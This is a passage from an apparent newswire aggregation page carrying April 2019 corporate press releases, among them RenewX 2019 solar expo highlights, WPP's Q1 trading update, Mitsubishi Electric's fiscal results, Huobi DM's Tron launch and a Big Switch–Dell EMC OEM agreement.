Sri Savitr Solar, Longi Solar, Radite Energy, Solis Inverter, Consulate General of Belgium, SolarEdge Technologies and Enerparc Energy. Representation from State Nodal Agency along with a Belgium Pavilion and Solar Skilling Competition are some of the highlights of RenewX 2019 edition. Speaking at the commencement of the fourth edition of RenewX, Mr. Yogesh Mudras, Managing Director, UBM India said, "The Indian renewable energy sector is one of the most attractive renewable energy markets in the world and India ranks 5th in installed renewable energy capacity. As the country is stepping towards achieving a remarkable moment in the clean energy space, South India has become the growth engine by generating half of the country's renewable energy power". "RenewX intends to accelerate the growth of the Renewable Energy sector in the South India region and contribute to the country's sustainable economic development. Some of the key highlights of RenewX 2019 edition include - eye-catching innovations such as theGerman made PV Port and Store on display, a path-breaking tie-up with the Consulate of Belgium for technology and knowledge sharing seminars and trade benefits, the 'Solar Skilling Competition' in association with Skill Council for Green Jobs and the 'Skills - On - Wheels', a mobile van to empower Rural Youth which is an initiative by Steinbeis Academy of Germany and Telangana Government to bring in due diligence and quality to the sector," he further added. Key highlights: Aiming to provide an excellent platform for Stakeholder's networking and capitalize into the lucrative South Indian market to accelerate the growth agenda, RenewX 2019 includes the Solar Skills Competition, in association with Skill Council for Green Jobs. The competition focused on Health & Safety aspects of workmanship, accuracy & installation procedures and technical briefing by industry experts. The event also showcased the sectoral commitment towards 'Skill India' mission, a Government of India Initiative. It also included an Advanced Technology Training and Entrepreneurship by Steinbeis Academy of Germany and a session on Skill and Knowledge (TASK) by Telangana Academy. The Government of Telangana, along with Steinbeis Academy of Germany, also launched 'Skills on Wheels' a Mobile Solar VAN (Laboratory) which is a first of its kind to Empower the Rural Youth. The expo also witnessed the Launch of PV Port & Store which is a standardized, portable, mass produced 2 kWp PV system with electrical storage for residential applications. A two-day dedicated conference on 'Golden Age of South India, Creating Customer Connections' highlighted the successful practices on integrating Renewables into business, and to find the best working models and practices for the South Indian RE market that can lead to increased efficiency while optimising cost in the rooftop segment covering various aspects of the entire value chain. The key sessions at RenewX 2019 included the following: Innovations in Grid Integration for accelerating Solar Roof Top Development in India The Energy Effect: Buyer perception and Decisions Innovations that Make the Future Brighter! Breaking Barriers Indo-Belgian opportunities dialogue Energy Leaders Dialogue - Market Trends Energy transition with increasing capital flows in VUCA world Harvesting the Sun for Power and Food Importance of Bioenergy in the renewable energy mix for India's present and future - Waste is not a waste until wasted! Some of the key speakers at the conference included - Sri Ajay Mishra, IAS, Spl. Chief Secretary, Govt of Telangana; Sri G. Raghuma Reddy, CMD, Telangana State Southern Power Distribution Company Limited; Sri N Janaiah , VC & MD, Telangana State Renewable Energy Development & Corporation; Sri Aujinder Singh, Deputy Secretary, Ministry of New and Renewable Energy; Ashish Khanna, President-TATA Power; Farzana Rahman , Unit Head (Investment), Renewable Energy Infrastructure Development Company Limited (IDCOL) Bangladesh; Jean-Francois Aernouts, Trade Commissioner, Consulate General of Belgium;, Srey Bairiganjan, Renewable Energy Expert from World Bank; Joerg Gaebler, Principal Advisor, GIZ;, Tobias Winter, Director, Indo-German Energy Forum Support Office; Stefan Schaefer, CEO Expectus GmbH; Dr Christoph Mueller, CEO Simply Solar; Manash Mitra, Head-Financial Advisory, Tata Cleantech Capital Ltd; Radhika Choudary, Co- Founder& Director Freyr Energy; Shashidhara BV, Head SolarEdge, India; M.R. Narayanan, Chairman, Southern Floating Solar; Kelly Mermuys, Country Manager 3E India & Sales Director Bazefield; Daniel Liu, Managing Director, South Asia, Jinko Solar; Dinesh Salem-Natarajan, Co - Founder SootLess Energy Private Limited; Thorben Glaser, Project Manager, KfW; and Uday Kiran, Director, Infrastructure, Government & Healthcare, KPMG, among others. RenewX 2019 is supported by a host of key associations such as Telangana State Renewable Energy Development Corporation Ltd., (TSREDCO), Indian Biogas Association (IBA), ELIAP, TELMA, KRESMA, Bloomberg NEF and IGEF. The expo witnessed the participation of decision makers from RE Sectors, Manufacturers, Industrial consumers, facility managers, energy and financial consultants, IPPs, EPCs, distributors/ dealers, system installers and integrators, Ministry officials, regulatory bodies, municipalities, utilities & project developers and planners, investors, fund managers, bankers, Project Developers, and R&D officials. Renewable Energy in Telangana Telangana is amongst the high power intensive States in India, with per capita power consumption of over 1505 units as against 1010 units of national avg perspective. The demand will further increase due to upcoming Lift irrigation schemes, Mission Bhagiratha and growth towards upcoming industrial clusters by which the demand will raise further. The state has a vast solar potential with average solar installation of nearly 5.5 kWh/m2 for more 300 sunshine days. Government of Telangana, intends to make use of the positive environment in solar market and push given by Government of India for substantially harnessing the solar potential in the state of Telangana. Telangana has adapted decentralized distributed solar plants constructed at the load point by which it saved the transmission losses and also helped in maintaining of Grid stability. Government of Telangana is also focusing to tap the potential the Vacant Rooftop spaces and promote the generation of Solar Power. With the above, it makes Telangana as a Renewable Energy Hub and also a role model for other states. About RenewX: RenewX is organized by UBM, which in June 2018 combined with Informa PLC to become a leading B2B information services group and the largest B2B Events organiser in the world. Please visit https://www.renewx.in/ for more information on the CJGF and http://www.ubm.com/global-reach/ubm-asia for our presence in Asia. About UBM Asia: UBM Asia recently became part of Informa PLC, a leading B2B information services group and the largest B2B Events organiser in the world. Please visit http://www.ubm.com/asia for more information about our presence in Asia. For any media queries, please contact: Roshni Mitra [email protected] Mili Lalwani [email protected] +91-9833279461 UBM India [ Back To TMCnet.com's Homepage ] [April 26, 2019] WPP First Quarter 2019 Trading Update WPP (NYSE: WPP) today reported its 2019 First Quarter Trading Update. Mark Read, Chief Executive Officer, WPP, stated: "We continue to make good progress in implementing our three-year strategy to return WPP to sustainable growth. "As anticipated, our first quarter trading update reflects the impact of certain significant client losses in 2018, in particular in the United States. Although we face a challenging year, especially in the first half, I am encouraged by how well our people, agencies and clients are responding to our new strategic direction. Our expectations for the full year are unchanged. "Our newly formed agencies are showing initial signs of success in new business pitches. The most recent merger, Wunderman Thompson, has followed VMLY&R's strong start by winning Duracell's international creative account. BCW has brought in nearly $70 million in new business in its first year. "In March, five of our companies were recognised in Gartner's (News - Alert) influential Magic Quadrant study of the world's leading and most forward-looking agencies, while WPP topped the WARC Effectiveness and Media 100 lists. This month, the Effie Index ranked us as the world's most effective communications company for the eighth successive year, demonstrating our enduring ability to deliver tangible business results for our clients. "LinkedIn (News - Alert) named WPP as one of the top 50 companies people want to work for in the United States, and we continue to attract top talent to the business. A key priority in 2019 is to invest further in senior creative talent in the United States. "As we have said before, it will take time to address the company's legacy issues, but we are committed to taking all the actions necessary to position WPP for future success." Reported revenue up 0.9% Like-for-like revenue less pass-through costs -2.8%, reflecting anticipated headwinds following client assignment losses in 2018 Decrease in average net debt from 4.875 billion in the first quarter of 2018 to 4.163 billion in the first quarter of 2019 (at 2019 exchange rates). Improvement of 712 million follows disposal of non-core associates and subsidiaries Continued progress in implementing three-year turnaround plan Financial guidance for 2019 unchanged Revenue and revenue less pass-through costs Revenue in the first quarter of 2019 was 3.588 billion, up 0.9% compared with the same period last year on a reported basis and -0.6% on a constant currency basis. Like-for-like revenue was -1.3% compared with last year. Revenue less pass-through costs was 2.926 billion, down 0.7% on a reported basis, -2.3% in constant currency and -2.8% like-for-like. Regional review Revenue analysis million 2019 ? reported ? constant1 ? LFL2 % group 2018 % group N. America 1,242 -0.8 % -7.0 % -8.2 % 34.6 % 1,252 35.2 % United Kingdom 528 -0.8 % -0.8 % -0.9 % 14.7 % 532 15.0 % W. Cont. Europe 765 0.7 % 2.7 % 1.2 % 21.3 % 760 21.4 % AP, LA, AME, CEE3 1,053 4.1 % 5.4 % 5.8 % 29.4 % 1,011 28.4 % Total Group 3,588 0.9 % -0.6 % -1.3 % 100.0 % 3,555 100.0 % Revenue less pass-through costs analysis million 2019 ? reported ? constant ? LFL % group 2018 % group N. America 1,043 -1.2 % -7.3 % -8.5 % 35.6 % 1,055 35.9 % United Kingdom 400 -1.1 % -1.1 % -0.9 % 13.7 % 405 13.7 % W. Cont. Europe 616 -1.6 % 0.2 % -0.3 % 21.1 % 626 21.2 % AP, LA, AME, CEE 867 0.6 % 2.0 % 2.3 % 29.6 % 862 29.2 % Total Group 2,926 -0.7 % -2.3 % -2.8 % 100.0 % 2,948 100.0 % North America, with like-for-like revenue less pass-through costs down 8.5%, was the weakest performing region, due to continued pressure and the impact of assignment losses among automotive, pharmaceutical and FMCG clients in 2018. This performance, whilst disappointing, was in line with our budgets. The actions we have taken since September with our creative and healthcare agencies, alongside leadership changes, are intended to address the Group's performance in the United States. In the United Kingdom, like-for-like revenue less pass-through costs was down 0.9%, a slight decline on 2018's full-year performance. Western Continental Europe like-for-like revenue less pass-through costs was down slightly at -0.3%. Belgium, Denmark, Finland, Netherlands and Turkey were up strongly, with Austria, Italy and Spain more challenging. Germany, the Group's largest market in the region, was up slightly. Asia Pacific, Latin America, Africa & the Middle East and Central & Eastern Europe was the strongest performing region, with like-for-like revenue less pass-through costs up 2.3%. There was strong growth in Latin America, Central & Eastern Europe and South East Asia, with Australia and New Zealand more difficult. In Asia Pacific, Greater China and India, which account for almost half of the region, grew strongly, with Malaysia, Thailand and Vietnam more challenging. In Latin America, four of the Group's top five markets showed particularly strong growth. In Central & Eastern Europe, all markets, with the exception of Russia and Hungary, were up. Business sector review The tables below analyse the Group's revenue and revenue less pass-through costs by business sector. While we have prepared this analysis for the first quarter, the restructuring actions that we are implementing, including the mergers of VMLY&R and Wunderman Thompson, the One Ogilvy (News - Alert) strategy and the reorganisation of our specialist healthcare agencies, mean that certain units have been reclassified between sectors and going forward it is likely to be less meaningful to report these sectors as we have in the past. We will review the appropriateness of this sectoral breakdown during 2019. Revenue analysis million 2019 ? reported ? constant4 ? LFL5 % group 2018 % group AMIM6 1,646 0.0 % -1.3 % -2.6 % 45.9 % 1,6457 46.3 % Data Inv. Mgt. 598 0.4 % 0.2 % 0.1 % 16.7 % 596 16.8 % PR & PA8 289 4.7 % 1.6 % 0.8 % 8.0 % 275 7.7 % BC, HW & SC9 1,055 1.6 % -0.7 % -0.7 % 29.4 % 1,0397 29.2 % Total Group 3,588 0.9 % -0.6 % -1.3 % 100.0 % 3,555 100.0 % Revenue less pass-through costs analysis million 2019 ? reported ? constant ? LFL % group 2018 % group AMIM 1,244 -3.6 % -4.7 % -4.8 % 42.5 % 1,2907 43.8 % Data Inv. Mgt. 456 0.3 % 0.3 % 0.1 % 15.6 % 455 15.4 % PR & PA 270 2.7 % -0.2 % -0.3 % 9.2 % 263 8.9 % BC, HW & SC 956 1.7 % -0.7 % -2.1 % 32.7 % 9407 31.9 % Total Group 2,926 -0.7 % -2.3 % -2.8 % 100.0 % 2,948 100.0 % In the first quarter of 2019, like-for-like revenue less pass-through costs in the Group's advertising and media investment management sector was down 4.8%, with the USA down significantly, primarily due to the underlying legacy issues in the creative businesses and client losses in 2018. Media investment management showed strong growth in the United Kingdom, Asia Pacific and Latin America. Data investment management was up slightly in the first quarter, with particularly strong growth in Asia Pacific, Latin America and the Middle East. The Group's public relations and public affairs businesses were down 0.3%, with strong growth in Western Continental Europe and the Middle East. Brand consulting, health & wellness and specialist communications was down 2.1%, with health & wellness, in particular, under considerable pressure in the USA following client losses in 2018. Kantar update The previously announced sale process of Kantar is progressing well, in line with our expectations. We are pleased with the level of interest in the business from high-quality potential partners. Balance sheet highlights Average net debt in the first quarter of 2019 was 4.163 billion, compared to 4.875 billion in 2018 (at 2019 exchange rates), a decrease of 712 million. Net debt at 31 March 2019 was 4.624 billion, compared to 5.500 billion in 2018 (at 2019 exchange rates), a decrease of 876 million. This improvement is largely explained by the disposal of various non-core associates and subsidiaries in 2018 and the first quarter of 2019 (and one property disposal), which in aggregate realised 1.028 billion. No shares were repurchased in the first quarter of 2019. In March 2019, the Group refinanced its $2.5 billion revolving credit facility, extending maturity to March 2024. The Group also repaid the 200 million 6.375% bonds due in 2020 following a tender offer. Outlook Financial guidance Our 2019 targets remain as: Like-for-like revenue less pass-through costs down 1.5% to 2.0%, with stronger headwinds in the first half, due to client assignment losses in the latter part of 2018 Headline operating margin to revenue less pass-through costs down around 1.0 margin point on a constant currency basis (excluding the impact of IFRS 16: Leases) Medium-term financial targets As outlined at the Investor Day in December 2018, our medium-term financial targets, to be achieved by the end of 2021, are: Organic growth (defined as like-for-like revenue less pass-through costs growth) in line with peers Headline operating margin (excluding the impact of IFRS 16: Leases ) of at least 15% ) of at least 15% Free cash flow conversion of 80%-90% This announcement has been filed at the Company Announcements Office of the London Stock Exchange and is being distributed to all owners of Ordinary shares and American Depository Receipts. Copies are available to the public at the Company's registered office. The following cautionary statement is included for safe harbour purposes in connection with the Private Securities Litigation Reform Act of 1995 introduced in the United States of America. This announcement may contain forward-looking statements within the meaning of the US federal securities laws. These statements are subject to risks and uncertainties that could cause actual results to differ materially including adjustments arising from the annual audit by management and the Company's independent auditors. For further information on factors which could impact the Company and the statements contained herein, please refer to public filings by the Company with the Securities and Exchange Commission. The statements in this announcement should be considered in light of these risks and uncertainties. 1Percentage change at constant currency exchange rates 2Like-for-like growth at constant currency exchange rates and excluding the effects of acquisitions and disposals 3Asia Pacific, Latin America, Africa & Middle East and Central & Eastern Europe 4Percentage change at constant currency exchange rates 5Like-for-like growth at constant currency exchange rates and excluding the effects of acquisitions and disposals 6Advertising, Media Investment Management 7In 2019 certain business units have been reclassified between AMIM and BC, HW & SC. As a result, the comparative data for 2018, together with the reported and constant currency growth rates and the % of the Group have been restated 8Public Relations & Public Affairs 9Brand Consulting, Health & Wellness and Specialist Communications (including direct, interactive & eCommerce) View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005172/en/ [ Back To TMCnet.com's Homepage ] [April 25, 2019] CVS 24 HOUR DEADLINE ALERT: Approximately 24 Hours Remain; ClaimsFiler Reminds Investors with Losses in Excess of $100,000 of Deadline in Class Action Lawsuit against CVS Health Corporation - CVS ClaimsFiler, a FREE shareholder information service, reminds investors that they have only until April 26, 2019 to file lead plaintiff applications in a securities class action lawsuit against CVS Health Corporation (NYSE: CVS). Investor losses must relate to purchases of the Company's securities between May 21, 2015 and February 20, 2019. This action is pending in the United States District Court for the Southern District of New York. Get Help CVS investors should visit us at https://www.claimsfiler.com/cases/view-cvs-health-corporation-securities-litigation or call toll-fre (844) 367-9658. Lawyers at Kahn Swick & Foti, LLC are available to discuss your legal options. About the Lawsuit On February 20, 2019, the Company announced its 4Q and full year financial results and provided its 2019 full year guidance, disclosing that 2019 adjusted earnings would be only $6.68 to $6.88 per share, much lower than average market estimates of $7.36, due to rising costs and poor results relating to its 2015 acquisition of Omnicare, Inc. On this news, the price of CVS' shares plummeted. The case is Anarkat v. CVS Health Corp., et al, 19-cv-01725. About ClaimsFiler ClaimsFiler has a single mission: to serve as the information source to help retail investors recover their share of billions of dollars from securities class action settlements. At ClaimsFiler.com, investors can: (1) register for free to gain access to information and settlement websites for various securities class action cases so they can timely submit their own claims; (2) upload their portfolio transactional data to be notified about relevant securities cases in which they may have a financial interest; and (3) submit inquiries to the Kahn Swick & Foti, LLC law firm for free case evaluations. To learn more about ClaimsFiler, visit www.claimsfiler.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190425006002/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Mitsubishi Electric Announces Consolidated Financial Results for Fiscal 2019 Mitsubishi Electric Corporation (TOKYO:6503) announced today its consolidated financial results for fiscal 2019 (April 1, 2018- March 31, 2019). The full document on Mitsubishi (News - Alert) Electric's financial results can be viewed at the following link: www.MitsubishiElectric.com/news Consolidated Financial Results Revenue: 4,519.9 billion yen (2% increase from the previous fiscal year) Operating profit: 290.4 billion yen (11% decrease from the previous fiscal year) Profit before income taxes: 315.9 billion yen (11% decrease from the previous fiscal year) Net profit attributable to Mitsubishi Electric (News - Alert) Corp. stockholders: 226.6 billion yen (11% decrease from the previous fiscal year) During the fiscal year ended March 31, 2019, the economy saw a buoyant expansion in the U.S. and a slight slowdown in the Chinese economy, while there were gradual trends of recovery in Japan and Europe despite a recent slowdown in some indicators such as export and production. In addition, the yen, compared to the previous fiscal year, was substantially unchanged against the U.S. dollar, and remained strong against the euro in and after August. Under these circumstances, the Mitsubishi Electric Group has been working even harder than before to promote growth strategies rooted in its advantages, while continuously implementing initiatives to strengthen its competitiveness and business structure. As a result, the Mitsubishi Electric Group has recorded a revenue of 4,519.9 billion yen for fiscal 2019, an increase of 2% compared to the previous fiscal year, with increased revenue mainly in the Energy and Electric Systems, Industrial Automation Systems and Home Appliances segments. Consolidated operating profit decreased by 11% compared to the previous fiscal year to 290.4 billion yen, due to decreased profits in the Industrial Automation Systems and Electronic Devices segments. Profit before income taxes decreased by 11% compared to the previous fiscal year to 315.9 billion yen, and net profit attributable to Mitsubishi Electric Corporation stockholders decreased by 11% compared to the previous fiscal year to 226.6 billion yen. Current Forecast for Fiscal 2020 With uncertainty in the global economy due to factors such as U.S. trade policies and influences from Brexit, the global economy is expected to experience a slowdown in growth due to the U.S.-China trade friction making impact on exports and investments in various countries and regions, despite a gradual recovery trend in global business conditions. Under these circumstances, the Mitsubishi Electric Group aims to achieve its management targets by uplifting its business performance and financial standings through initiatives such as promoting more strongly its global operations centered around its growth-driving businesses, continuously increasing and strengthening profitability in each business and continuously implementing various Group-wide business improvement measures. The current financial performance forecast for fiscal 2020 follows below. Current consolidated forecast for fiscal 2020 Revenue 4,630.0 billion yen (2% increase from fiscal 2019) Operating profit 295.0 billion yen (2% increase from fiscal 2019) Profit before income taxes 320.0 billion yen (1% increase from fiscal 2019) Net profit attributable to Mitsubishi Electric Corp. stockholders 240.0 billion yen (6% increase from fiscal 2019) Exchange rates for this forecast is 105 yen to the US dollar, 125 yen to the euro and 16.0 yen to the Chinese yuan. Note: The results forecast above is based on assumptions deemed reasonable by the company at the present time, and actual results may differ significantly from forecasts. Please refer to the cautionary statement in the full document. About Mitsubishi Electric Corporation With nearly 100 years of experience in providing reliable, high-quality products, Mitsubishi Electric Corporation (TOKYO:6503) is a recognized world leader in the manufacture, marketing and sales of electrical and electronic equipment used in information processing and communications, space development and satellite communications, consumer electronics, industrial technology, energy, transportation and building equipment. Embracing the spirit of its corporate statement, Changes for the Better, and its environmental statement, Eco Changes, Mitsubishi Electric endeavors to be a global, leading green company, enriching society with technology. The company recorded a revenue of 4,519.9 billion yen (US$ 40.7 billion*) in the fiscal year ended March 31, 2019. For more information visit: www.MitsubishiElectric.com *At an exchange rate of 111 yen to the US dollar, the rate given by the Tokyo Foreign Exchange Market on March 31, 2019 View source version on businesswire.com: https://www.businesswire.com/news/home/20190425006071/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Guotai Junan Securities launches corporate and institutional client services system SHANGHAI, April 26, 2019 /PRNewswire/ -- Guotai Junan Securities Co, one of China's leading securities brokers, has launched its corporate and institutional client services system in Shanghai at the 2019 Global Industry and Capital Forum on April 18. The system, under the brand name Vintex, has set a new milestone for the securities company's global strategy. The corporate and institutional client services system aims to facilitate client growth throughout the lifecycle with over 50 solutions under eight client categories, and provides one-stop services across a wide range of sectors and asset classes. Vintex meets client demands through a global ntwork and online-offline coordination. Clients may access the company's professional services and insights from experts and industry leaders via the Vintex APP and Matrix platform. The system, based on client needs in a variety of scenarios, has developed ten tech platforms including intelligent client services, multi-layered trading, global market information, multi-asset investment research, AI big data, smart operation management, risk analysis and management, manager services, stock index services, and performance analysis. The brand has been constantly expanding its boundaries and applying fintech to offer high-quality client services. Clients will witness the interaction between industries and capital, access forward-looking insights into the global capital markets, and be served with technology and professionalism through Vintex. Guotai Junan started to build the system in 2016. The company, benchmarking itself against top global players, has become a leading Chinese investment bank dedicated to providing global clients with excellent comprehensive services. It has broken away from previously license-based business activities and formed a service model which, featuring interaction and coordination between services, products, processes, teams and systems, adds value to clients. Those efforts have redefined the ideas, practices, logic and boundaries of the company's corporate and institutional client services. SOURCE Guotai Junan Securities [April 26, 2019] Huobi DM Expands Offerings To Tron (TRX) SINGAPORE, April 26, 2019 /PRNewswire/ -- Huobi DM became even more versatile today with the launch of Tron (TRX). Tron's inclusion marks the seventh coin type to be added to the innovative crypto asset trading platform since its launch in November. "The addition of Tron is another big step towards our goal of making Huobi DM the most powerful and flexible platform of its kind," said Ross Zhang, CEO of Huobi Group. "We look forward to adding even more coin types over the course of this year." Inclusion on Huobi DM means traders will be able to take both long and short positions on TRX, allowing for arbitrage, speculation, and hedging. Since 2017, TRX's value has fluctuated between USD 0.001091 and USD 0.300363. As part of Huobi's rollout of TRX, we will be giving away 1 million TRX tokens to Huobi DM traders and offering a 100% maker fee rebate on TRX contracts to our users. In addition to TRX, Huobi DM offers weekly, bi-weekly, and quarterly cryptocurrency contracts for Bitcoin (BTC), Ethereum (ETH), EOS (EOS), Litecoin (LTC), Ripple (XRP), and Bitcoin Cash (BCH). Since its launch in late 2018, Huobi DM has grown rapidly, recently exceeding USD $100 billion in cumulative trading volume. Features of Huobi DM: ompetitive fee structure for TRX: 0.02% to open or close for makers and 0.03% to open or close for takers. Superior risk management: including Price Limit, Order Limit, and Position Limit. Superior risk control: with our sophisticated price limit mechanism, no claw back has occurred since its launch. Real-time risk supervision: we constantly monitor contract prices, index prices, abnormal transactions, and positions. Newly raised open position limits for all crypto contracts to up to twice their previous level and order limits to more than double their previous level. User protections: To cover the societal losses attributed to unfilled liquidated orders/settle incidents in contract trading, Huobi also has a dedicated Risk Management Insurance Fund for each trading pair. Disclaimers: Digital assets are innovative trading products, and prices fluctuate greatly. Please rationally judge your trading ability and make decisions prudently. Please note that users must clear the requisite KYC checks and assessments prior to commencing usage of Huobi DM. Huobi DM is not available to users from the United States of America , Singapore , Israel , Iraq , Hong Kong ( China ), Cuba , Iran , North Korea , Sudan , Malaysia , Syria , Samoa Eastern, Puerto Rico , Guam , Bangladesh , Ecuador , and Kyrgyzstan . For more information on Huobi DM, please visit www.hbdm.com About Huobi: Consisting of ten upstream and downstream enterprises, Huobi Group is the world's leading blockchain company. Established in 2013, Huobi Group's accumulative turnover exceeds US $1 trillion. It proudly provides safe, secure, and convenient cryptocurrency trading and asset management services to millions of users in 130+ countries. For more info, visit www.hbg.com For enquiries please contact: Jiayi Li +65 92295769 [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/huobi-dm-expands-offerings-to-tron-trx-300838963.html SOURCE Huobi Group [ Back To TMCnet.com's Homepage ] [April 26, 2019] Galaxy Next Generation to Present at the Planet MicroCap Showcase on May 1st with an Opportunity to Meet the Management Team TOCCOA, Ga., April 26, 2019 (GLOBE NEWSWIRE) -- Galaxy Next Generation, Inc. (OTCQB:GAXY) ("Galaxy"), a U.S. distributor of interactive learning technology hardware and software that create fully collaborative instructional environments, is pleased to announce that its CEO, Gary Lecroy, and Magen McGahee, its CFO, will present an overview of the Company's business at the Planet MicroCap Showcase (https://planetmicrocapshowcase.com) on May 1st, 2019 at 1:00pm at the Bally's Las Vegas Hotel & Casino. Galaxy has a limited number of times available for one-on-one meetings on Wednesday, May 1st to discuss both capital raises and open-market buying for its common stock. Gary Lecroy, CEO of Galaxy, said, This will be our 2nd Conference in just over a month, with our First consisting of 38 separate meetings-for a company that has been public for less than 1 Year, we are quite pleased at our reception in the institutional community. Added CFO, Magen McGahee, Our business continues to grow both within our traditional selling to school districts throughout the country as well as our recent breakthrough to another vertical with the signing of the Rabun County, Georgia Sherriff Department. To learn more about GalaxyNext Generation, please review their recent press releases, with special attention to be paid to those from February 6, (Inclusive), to present. The Planet MicroCap Showcase is an exclusive event dedicated to connecting micro-cap companies with high-level institutional and retail investors. Investors attending the conference who wish to meet with Galaxy's management should contact Mark Gilbert at 317-361-2392 or [email protected] About Galaxy Next Generation, Inc. Galaxy Next Generation (OTCQB:GAXY) is a U.S. distributor of interactive learning technology hardware and software that allows the presenter and participant to engage in a fully collaborative instructional environment. Galaxy's products include Galaxy's own private-label interactive touch screen panel as well as numerous other national and international branded peripheral and communication devices. Galaxy's distribution channel consists of 22+ resellers across the U.S. who primarily sell the Company's products within the commercial and educational market. Galaxy does not control where resellers focus their resell efforts, although generally, the K-12 education market is the largest customer base for Galaxy products - comprising nearly 90% of Galaxy's sales. Visit our website at: www.galaxynext.us Safe Harbor Statement This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. These forward-looking statements are based on the current plans and expectations of management and are subject to a number of uncertainties and risks that could significantly affect the company's current plans and expectations, as well as future results of operations and financial condition. A more extensive listing of risks and factors that may affect the company's business prospects and cause actual results to differ materially from those described in the forward-looking statements can be found in the reports and other documents filed by the company with the Securities and Exchange Commission. The company undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Galaxy Next Generation, Inc. Investor Relations [email protected] 317-361-2392 Source: Galaxy Next Generation [ Back To TMCnet.com's Homepage ] [April 26, 2019] Big Switch Networks Deepens Open Networking Collaboration with Dell EMC OEM Agreement and Dell EMC Ready Stack Validated Designs SANTA CLARA, Calif., April 26, 2019 (GLOBE NEWSWIRE) -- Big Switch Networks, the Cloud-First Networking company, today announced it has entered into an OEM agreement with Dell EMC. Additionally, Big Switch and Dell EMC will work together to design Dell Ready Stack solutions. Demand for Big Switchs portfolio of Cloud-First Networking solutions continues to grow, with the software-based company experiencing a CAGR of nearly 80% (FY15-FY18). With this OEM agreement, Dell EMC will now brand, market and sell Big Switchs products under the Dell EMC brand. The agreement is expected to drive closer alignment between the Big Switch and Dell EMC sales teams as well as simplifying the product delivery and support models globally. Big Switch and Dell EMC are recognizing five years of collaboration delivering open, cloud-style networking for unmatched flexibility and freedom. Big Switchs portfolio of software-based, Networking-as-a-Service solutions is ideally suited to help organizations successfully meet IT transformation initiatives. When coupled with Dell EMC open networking, organizations can experience unprecedented flexibility, choice, cost savings, ease-of-management, time-to-value, and a network that creates measurable business value. Organizations interested in open networking will benefit from the Big Switch and Dell EMC OEM collaboration with a complete Dell EMC solution stack, which includes Dell EMC Level 1/Level 2 support on all components as well as Dell Professional Services globally. As part of the OEM agreement, Big Switch technology offerings will join the list of available components in the Dell EMC Ready Stack architecture, providing even more choice and flexibility for customers and partners as they seek to build converged infrastructure solutions and cloud platforms. Dell EMC Ready Stack validated designs enable customers and channel partners to build their own converged infrastructure solutions in the data center, with a flexible choice of storage, server, networking, and data protection options. These validated solutions include Dell EMC open networking switch hardware and Big Switchs Big Cloud Fabric (BCF) software. At Dell Technologies World, Big Switch CTO, Paul Unbehagen, will host a customer panel with representatives from BNSF Railway, American Fidelity, NIO and a Fortune 500 Financials Institution. Each organization has leveraged open, cloud-style technologies from Dell EMC and Big Switch to support digital transformation initiatives. Networking Happy Hour: To Cloud Affinity & Beyond, A Customer Journey Panel, will take place Weds. May 1 at 3pm The open networking market continues to grow at an accelerated rate as organizations shift from proprietary, legacy products to open and flexible solutions from Dell EMC and Big Switch. According to 650 Group, open networking revenue (excluding hyperscalers) is expected to reach $1.35BN by 2023, with a CAGR of 33% (2019 - 2023). Organizations around the world have benefitted from the power of Dell EMC and Big Switchs open, cloud-style solutions. According to ACG Research, organizations can expect the following benefits: up to 40% TC savings up to 50% CAPEX savings 16x faster configuration upgrades 4x faster application deployment 12x faster troubleshooting and issue resolution Big Switch will be showcasing its portfolio of Cloud-First Networking solutions with Dell EMC open networking on the showfloor at Dell Technologies World, booth 702. To schedule a meeting with Big Switch at Dell Technologies World, please use this link: https://bit.ly/2DcPwrl . Supporting Materials Data Sheet: Big Cloud Fabric: https://bit.ly/2XDpQMy Data Sheet: Big Monitoring Fabric: https://bit.ly/2IWyIJ2 Data Sheet: Multi-Cloud Director: https://bit.ly/2XMsa3F Supporting Quotes Dell EMC and Big Switch continue to lead the open networking evolution with open, differentiated, best-in-class solutions that allow our customers to build powerful on-prem clouds, said Douglas Murray, President and CEO, Big Switch Networks. The OEM relationship is an acknowledgement of the tremendous demand Dell EMC and Big Switch are seeing with open networking data center switching, visibility and security solutions for on-prem cloud and multi-cloud environments. For Dell EMC, this OEM agreement with Big Switch was the natural next step. Together we have experienced tremendous momentum during the past five years, delivering open networking to end users globally, said Tom Burns, SVP & GM, Networking & Solutions, Dell EMC. As compute and storage innovations have been widely adopted to better support ever increasing volumes of data, the network can no longer be an obstruction to achieving responsive, agile and efficient IT operations. Through both the OEM agreement and the Ready Stack solutions, we continue to offer innovative solutions that break down silos and enable IT, Security, People and Digital Transformation. About Big Switch Networks Big Switch Networks is the Cloud-First Networking company, bringing public cloud-style networking and hybrid cloud consistency to organizations around the world. The company provides data center switching, monitoring, visibility and security solutions for on-premises clouds, public clouds and multi-cloud environments that enable companies of all sizes to increase operational efficiency and business agility, while reducing networking costs. Big Switch was founded in 2010, with roots in the original Stanford research team that invented software-defined networking. Big Switch has strategic partnerships with Dell EMC and Edgecore, delivering innovative software on industry-standard open networking hardware. Since its founding, the company has been an active member and contributor to multiple open-source communities. Big Switch Networks is headquartered in Santa Clara, CA, with a dedicated presence across more than 25 countries. The company is funded from leading venture capital firms, including: Dell Technologies Capital, Index Ventures, Intel Capital, Khosla Ventures, MSD Capital, Morgenthaler Ventures, Redpoint and Silverlake Waterman. For additional information: visit us www.bigswitch.com , reach us [email protected] or follow us on Twitter @bigswitch , LinkedIn and YouTube . Copyright 2019 Big Switch Networks, Inc. All rights reserved. Big Switch Networks, the Big Switch logo, Big Cloud Fabric, Big Monitoring Fabric, BMF, Multi-Cloud Director, BigSecure, Big Switch Labs, BSN, Switch Light, ONL Certified, and ONL Certified Gold, ONLX are trademarks or registered trademarks of Big Switch Networks, Inc. in the U.S. and other countries. All other trademarks, service marks, registered marks or registered service marks are the property of their respective owners. Big Switch Networks assumes no responsibility for any inaccuracies in this document. Big Switch Networks reserves the right to change, modify, transfer or otherwise revise this publication without notice. Media & Analyst Relations Kate Lehman [email protected] [ Back To TMCnet.com's Homepage ] 'Cash is Best' Message Wins in PSAid's Collegiate Competition for International Disaster Relief Awareness The USAID Center for International Disaster Information (CIDI) is pleased to announce the winners of the 14th annual Public 